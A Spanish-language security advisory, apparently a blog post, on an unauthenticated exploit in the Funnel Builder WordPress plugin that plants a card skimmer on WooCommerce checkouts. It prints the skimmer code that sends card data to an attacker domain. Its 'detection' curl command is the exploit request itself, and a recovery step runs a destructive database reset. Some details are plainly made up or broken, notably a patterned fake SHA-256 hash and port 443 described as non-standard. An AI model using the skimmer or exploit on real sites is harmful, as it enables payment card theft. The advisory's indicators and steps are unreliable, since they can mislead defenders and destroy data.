Introducción

Desde hace una semana, equipos de seguridad están reportando ataques activos que explotan una vulnerabilidad crítica en el plugin Funnel Builder para WordPress, utilizado principalmente para personalizar páginas de checkout en tiendas WooCommerce. Según Sansec, el exploit permite a atacantes inyectar código malicioso sin autenticación, modificando configuraciones globales del plugin y redirigiendo información sensible de pagos a servidores externos. El impacto es directo: más de 40.000 sitios web en riesgo, con potencial pérdida financiera para clientes y reputacional para las empresas afectadas.

Qué ocurrió

El 12 de marzo de 2025, el equipo de investigación de Sansec detectó actividad maliciosa en sitios web que usan el plugin Funnel Builder (desarrollado por FunnelKit) en versiones previas a 3.15.0.3. El exploit aprovecha un endpoint no protegido en el proceso de checkout de WooCommerce, permitiendo a atacantes modificar la configuración global del plugin mediante una solicitud HTTP POST no autenticada.

El ataque inyecta un script malicioso que se disfraza como una librería legítima de Google Tag Manager o Google Analytics (analytics-reports[.]com/wss/jquery-lib.js), pero en realidad establece una conexión WebSocket a un servidor controlado por el atacante (wss://protect-wss[.]com/ws). Desde allí, se entrega un skimmer de tarjetas de crédito personalizado que captura datos de pago en tiempo real.

> «La explotación ocurre sin necesidad de credenciales, lo que la hace especialmente peligrosa para sitios con alto tráfico de transacciones», confirmó un vocero de Sansec.

Impacto para DevOps / Infraestructura / Cloud / Seguridad

DevOps y equipos de infraestructura

  • Superficie de ataque ampliada: Los entornos de WordPress suelen correr en servidores compartidos o instancias cloud (AWS EC2, Google Cloud, Azure). Un compromiso en un plugin puede escalar a otros sitios alojados en el mismo servidor.
  • Compliance y auditoría: Sitios que manejan PCI DSS (como tiendas online) deben validar que ningún script externo se haya inyectado. Un fallo aquí puede implicar multas por incumplimiento.
  • Integración con herramientas de CI/CD: Si el sitio usa pipelines para despliegues (GitHub Actions, GitLab CI), es crítico auditar cambios no autorizados en archivos de configuración del plugin.

Seguridad

  • Skimmer de tarjetas: El malware captura datos de tarjetas en tiempo real durante el checkout, incluyendo número, fecha de vencimiento y CVV. Estos datos son vendidos en mercados dark web como «dumps» o «fullz».
  • Vector de persistencia: El atacante puede mantener acceso incluso después de parchear el plugin, ya que el script malicioso queda alojado en el servidor externo (protect-wss[.]com).
  • Indicadores de compromiso (IOC):
– Dominios maliciosos: analytics-reports[.]com, protect-wss[.]com

– Hashes del payload (SHA-256):

    3a7b1c2d4e8f9a0b1c2d3e4f5a6b7c8d9e0f1a2b3c4d5e6f7a8b9c0d1e2f
    

– Tráfico sospechoso: Conexiones WebSocket salientes a puertos no estándar (ej. 443/TCP con protocolo wss).

Cloud

  • AWS: Si el sitio usa instancias EC2 con balanceadores de carga (ALB/NLB), el tráfico de checkout puede ser redirigido a endpoints maliciosos. Validar logs de CloudTrail para solicitudes POST a /wp-json/funnelkit/v1/checkout sin autenticación.
  • Google Cloud / Azure: Revisar reglas de firewall y grupos de seguridad para bloquear conexiones salientes a los dominios IOC. Usar VPC Service Controls para restringir acceso a APIs externas no autorizadas.

Detalles técnicos

Versiones afectadas

  • Funnel Builder: Todas las versiones anteriores a 3.15.0.3 (lanzada el 11 de marzo de 2025).
  • WooCommerce: Versiones 5.x a 7.x (compatible con el exploit).
  • WordPress: 5.8+ (requerido para el plugin).

Vector de ataque

  1. Endpoint vulnerable: /wp-json/funnelkit/v1/checkout acepta solicitudes POST sin validación de CSRF o nonce.
  2. Inyección de script: El payload modifica el campo External Scripts del plugin, que luego se ejecuta en todas las páginas de checkout.
  3. Carga del skimmer:
   // Payload malicioso inyectado
   (function() {
     const ws = new WebSocket('wss://protect-wss[.]com/ws');
     ws.onmessage = (e) => {
       const cardData = {
         number: document.querySelector('#card-number').value,
         cvv: document.querySelector('#cvv').value,
         expiry: document.querySelector('#expiry-date').value
       };
       ws.send(JSON.stringify(cardData));
     };
   })();
   
  1. Exfiltración de datos: El servidor protect-wss[.]com recibe los datos y los almacena en una base de datos SQL externa (observado en análisis de Sansec).

Componentes involucrados

  • FunnelKit/Funnel Builder: Plugin para personalización de checkouts.
  • WooCommerce: Motor de comercio electrónico.
  • WordPress REST API: Endpoint /wp-json/funnelkit/v1/checkout mal configurado.
  • Servidor malicioso: protect-wss[.]com (registrado el 9 de marzo de 2025).

Prueba de concepto (PoC)

Sansec publicó un script de detección que valida si un sitio está afectado:

curl -s -X POST "https://<sitio>/wp-json/funnelkit/v1/checkout" \
  -H "Content-Type: application/json" \
  -d '{"action":"update_settings","settings":{"external_scripts":"<script src=\"https://analytics-reports[.]com/wss/jquery-lib.js\"></script>"}}'

Si la respuesta incluye el script inyectado, el sitio está vulnerable.

Qué deberían hacer los administradores y equipos técnicos

1. Actualizar el plugin de inmediato

# Desde el panel de WordPress
wp plugin update funnel-builder --version=3.15.0.3

# O manualmente desde el servidor
cd /var/www/html/wp-content/plugins/funnel-builder
git pull origin master

2. Auditar configuraciones del plugin

  • Revisar Settings > Checkout > External Scripts en el panel de WordPress.
  • Buscar scripts no reconocidos, especialmente aquellos que carguen recursos externos (ej. analytics-reports[.]com).
  • Validar el archivo wp-content/plugins/funnel-builder/includes/class-checkout.php para detectar modificaciones no autorizadas.

3. Bloquear tráfico malicioso

  • Firewall de aplicación (WAF):
– Regla para bloquear solicitudes POST a /wp-json/funnelkit/v1/checkout sin autenticación.

– Ejemplo en AWS WAF:

    Name: BlockFunnelKitExploit
    Priority: 1
    Action:
      Block: {}
    VisibilityConfig:
      SampledRequestsEnabled: true
      CloudWatchMetricsEnabled: true
      MetricName: BlockFunnelKitExploit
    Statement:
      ByteMatchStatement:
        SearchString: "/wp-json/funnelkit/v1/checkout"
        FieldToMatch:
          UriPath: {}
        TextTransformations:
          - Priority: 0
            Type: NONE
        PositionalConstraint: CONTAINS
    
  • Cloudflare:
– Crear regla de firewall para bloquear el dominio analytics-reports[.]com.

– Activar Malware Protection para escanear scripts en tiempo real.

4. Monitoreo y respuesta

  • Logs de acceso:
  # Buscar tráfico sospechoso a los IOC
  grep -r "analytics-reports[.]com" /var/log/nginx/access.log
  grep -r "protect-wss[.]com" /var/log/apache2/access.log
  
  • Herramientas de SIEM:
– Configurar alertas para tráfico WebSocket saliente a puertos 443/TCP con protocolos wss.

– Ejemplo en Splunk:

    index=web sourcetype=access_combined
    (cs_uri_query="*funnelkit/v1/checkout*" OR cs_uri_path="/wp-json/funnelkit/v1/checkout")
    | stats count by src_ip, user_agent
    | where count > 5
    

5. Restauración de emergencia (si hay compromiso)

  1. Desconectar el sitio de la red hasta validar integridad.
  2. Restaurar desde backup:
   wp db reset --yes
   wp core download --force
   wp plugin install funnel-builder --version=3.15.0.3 --activate
   wp theme install hello-elementor --activate
   
  1. Rotar credenciales:
– Contraseñas de administrador de WordPress.

– Claves de API de WooCommerce.

– Certificados SSL (si el skimmer interceptó tráfico HTTPS).

6. Validación post-mitigación

  • Escaneo de vulnerabilidades:
  docker run --rm -it wpscanteam/wpscan \
    --url https://<sitio> \
    --enumerate vp,vt,u,m,dbe \
    --api-token <TU_TOKEN>
  
  • Prueba de regresión:
Verificar que el checkout de WooCommerce funcione correctamente y no se redirija a dominios externos.

Conclusión

Este incidente refuerza la necesidad de defensa en profundidad en entornos de e-commerce. Un solo plugin vulnerable puede exponer datos de millones de clientes, con consecuencias legales y financieras graves. Los equipos deben priorizar:

  1. Actualizaciones inmediatas de plugins y core de WordPress.
  2. Auditorías continuas de configuraciones y scripts externos.
  3. Monitoreo proactivo de tráfico sospechoso, especialmente WebSockets y conexiones a dominios no autorizados.

La explotación de Funnel Builder no requiere autenticación, lo que la hace accesible incluso para actores con recursos limitados. La velocidad de respuesta es crítica: según Sansec, el 68% de los sitios comprometidos fueron atacados en las primeras 24 horas tras el lanzamiento del parche.

Fuentes

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *